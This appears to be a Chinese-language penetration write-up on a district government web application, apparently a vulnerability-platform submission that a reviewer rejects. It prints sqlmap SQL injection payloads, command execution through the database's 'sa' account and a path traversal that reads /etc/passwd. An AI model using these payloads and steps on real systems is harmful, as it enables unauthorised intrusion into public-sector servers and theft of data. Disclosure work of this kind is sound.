01 某区政府
大家中秋有没有吊到妹子啊。。。。。反正我是没有1.1. 应用系统弱口令
看到的信息还不少啊。。。。0.0 弱口令 不解释
1.2. 应用程序sa 注入起初找了一下,并没有找到注入,大牛们都喜欢抽颗烟,咱也抽颗烟找找思路, 于是有了第一步的弱口令,登录进去,看到参数习惯的加个’报错,丢到sqlmap,后面没什么好讲的了,注入大家都会。 Place: GET Parameter: apply_sfzh Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: apply_sfzh=23010220110809681' UNION ALL SELECT 48, 48, 48, 48, 48, 48, CHAR(58)+CHAR(99)+CHAR(122)+CHAR(102)+CHAR(58)+CHAR(81)+CHAR(72)+CHAR(81)+CH AR(119)+CHAR(119)+CHAR(101)+CHAR(86)+CHAR(105)+CHAR(72)+CHAR(110)+CHAR(58)+CHAR( 122)+CHAR(111)+CHAR(103)+CHAR(58)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: apply_sfzh=23010220110809681'; WAITFOR DELAY '0:0:5';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: apply_sfzh=23010220110809681' WAITFOR DELAY '0:0:5'-- --- [13:08:02] [INFO] the back-end DBMS is Microsoft SQL Server web application technology: JSP back-end DBMS: Microsoft SQL Server 2005 [13:08:02] [INFO] fetching current user current user: 'sa'
1.3. 数据库系统命令执行默默的等到注入完成-卧槽 sa 难道我今天人品爆发-顺手一个-os-cmd=ipconfig 卧槽今天人品确实不错啊,但是这个命令也证明了系统是windows 我记得web是linux啊 难道站裤分离了,继续
do you want to retrieve the command standard output? [Y/n/a] y [13:09:16] [WARNING] cannot properly display Unicode characters inside Windows O ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. command standard output: --- Windows IP ???? ???????????? ???????? 2: ?????????? DNS ???? . . . . . . . : ???????? IPv6 ????. . . . . . . . : xxx IPv4 ???? . . . . . . . . . . . . : 192.168.8.108 ???????? . . . . . . . . . . . . : 255.255.255.0 ????????. . . . . . . . . . . . . : 192.168.8.1
1.4. 应用程序任意文件下载继续回到目标上既然拿到数据库了那么可以找找后台,顺便抄起wvs 扫一扫 ,分析wvs目录扫描结果,看到一个图片,这是注意到加载图片的参数,想了想会不会存在任意文件下载呢,&filepath=../../../../../../../etc/passwd 哇哇 人品爆发啊。。。。看来今天可以去买彩票了、到此结束。机构单位未深入
文件没有对判断输入参数的合法性导致任意文件下载。 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/bash daemon:x:2:2:Daemon:/sbin:/bin/bash lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
=============================== 内容较为空乏,缺乏亮点。故不予通过。
|